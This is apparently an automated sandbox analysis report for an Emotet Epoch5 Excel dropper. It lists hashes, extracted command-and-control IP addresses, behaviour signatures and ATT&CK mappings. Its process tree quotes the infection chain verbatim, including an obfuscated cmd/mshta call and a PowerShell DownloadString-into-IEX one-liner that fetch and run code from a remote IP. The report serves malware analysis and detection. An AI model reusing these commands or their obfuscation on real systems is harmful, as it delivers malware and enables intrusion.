emotet | b28aff0f795ebee23511aa29eff25b0dd74f59002c5930bac2a5ab1a94f9ab5c

General

Target

MES 92847.xls
Size

36KB
MD5

ab23d41b000237ca22d4f471e21f45e6
SHA1

7156618b51eb0b2b0cfc9904c44909a1d0f6ebfe
SHA256

b28aff0f795ebee23511aa29eff25b0dd74f59002c5930bac2a5ab1a94f9ab5c
SHA512

addc41a6d0930fcfee704cb8d8381cb6ecb17713989f176e7e26d33b87b37d98cc1e5e5236925c1951d508635fc340dc58e016f160a33a2f90fff68caece9ced

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	660	3052	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

32 2976 mshta.exe
39 576 powershell.exe
41 576 powershell.exe
43 576 powershell.exe
44 2896 rundll32.exe
45 2896 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2176 rundll32.exe
2640 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Edknlczjyqfh\mdhhggxrhug.jbk rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1504 2976 WerFault.exe mshta.exe

flow	pid	process
32	2976	mshta.exe
39	576	powershell.exe
41	576	powershell.exe
43	576	powershell.exe
44	2896	rundll32.exe
45	2896	rundll32.exe

pid	process
2176	rundll32.exe
2640	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Edknlczjyqfh\mdhhggxrhug.jbk	rundll32.exe

pid	pid_target	process	target process
1504	2976	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3052 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
576	powershell.exe
576	powershell.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
1504	WerFault.exe
576	powershell.exe
2896	rundll32.exe
2896	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 576 powershell.exe
Token: SeDebugPrivilege 1504 WerFault.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

3052 EXCEL.EXE
3052 EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	576	powershell.exe
Token: SeDebugPrivilege	1504	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3052 wrote to memory of 660	3052	EXCEL.EXE	CMD.EXE
PID 3052 wrote to memory of 660	3052	EXCEL.EXE	CMD.EXE
PID 660 wrote to memory of 2976	660	CMD.EXE	mshta.exe
PID 660 wrote to memory of 2976	660	CMD.EXE	mshta.exe
PID 2976 wrote to memory of 576	2976	mshta.exe	powershell.exe
PID 2976 wrote to memory of 576	2976	mshta.exe	powershell.exe
PID 576 wrote to memory of 2148	576	powershell.exe	cmd.exe
PID 576 wrote to memory of 2148	576	powershell.exe	cmd.exe
PID 2148 wrote to memory of 2176	2148	cmd.exe	rundll32.exe
PID 2148 wrote to memory of 2176	2148	cmd.exe	rundll32.exe
PID 2148 wrote to memory of 2176	2148	cmd.exe	rundll32.exe
PID 2176 wrote to memory of 2640	2176	rundll32.exe	rundll32.exe
PID 2176 wrote to memory of 2640	2176	rundll32.exe	rundll32.exe
PID 2176 wrote to memory of 2640	2176	rundll32.exe	rundll32.exe
PID 2640 wrote to memory of 3644	2640	rundll32.exe	rundll32.exe
PID 2640 wrote to memory of 3644	2640	rundll32.exe	rundll32.exe
PID 2640 wrote to memory of 3644	2640	rundll32.exe	rundll32.exe
PID 3644 wrote to memory of 2896	3644	rundll32.exe	rundll32.exe
PID 3644 wrote to memory of 2896	3644	rundll32.exe	rundll32.exe
PID 3644 wrote to memory of 2896	3644	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\MES 92847.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3052

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:660

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:2148

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2640

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Edknlczjyqfh\mdhhggxrhug.jbk",mERPVQUU
8⤵
- Suspicious use of WriteProcessMemory
PID:3644

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Edknlczjyqfh\mdhhggxrhug.jbk",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2896

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2976 -s 1744
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
memory/576-1471-0x00000233ABAA0000-0x00000233ABAC2000-memory.dmp

Filesize
136KB

Download
memory/576-1490-0x00000233ABB40000-0x00000233ABB42000-memory.dmp

Filesize
8KB

Download
memory/576-1492-0x00000233ABB43000-0x00000233ABB45000-memory.dmp

Filesize
8KB

Download
memory/576-1513-0x00000233ABD50000-0x00000233ABD8C000-memory.dmp

Filesize
240KB

Download
memory/576-1524-0x00000233AC270000-0x00000233AC2E6000-memory.dmp

Filesize
472KB

Download
memory/576-1529-0x00000233ABB46000-0x00000233ABB48000-memory.dmp

Filesize
8KB

Download
memory/2176-1550-0x0000000000C10000-0x0000000000C37000-memory.dmp

Filesize
156KB

Download
memory/2640-1555-0x00000000006D0000-0x00000000006F7000-memory.dmp

Filesize
156KB

Download
memory/2640-1557-0x0000000000700000-0x0000000000727000-memory.dmp

Filesize
156KB

Download
memory/2640-1560-0x0000000004550000-0x0000000004577000-memory.dmp

Filesize
156KB

Download
memory/2640-1562-0x00000000045C0000-0x00000000045E7000-memory.dmp

Filesize
156KB

Download
memory/2640-1564-0x0000000004620000-0x0000000004647000-memory.dmp

Filesize
156KB

Download
memory/2640-1568-0x0000000004790000-0x00000000047B7000-memory.dmp

Filesize
156KB

Download
memory/2896-1570-0x0000000004580000-0x00000000045A7000-memory.dmp

Filesize
156KB

Download
memory/2896-1572-0x0000000004C30000-0x0000000004C57000-memory.dmp

Filesize
156KB

Download
memory/3052-118-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3052-119-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3644-1565-0x00000000036D0000-0x00000000036F7000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads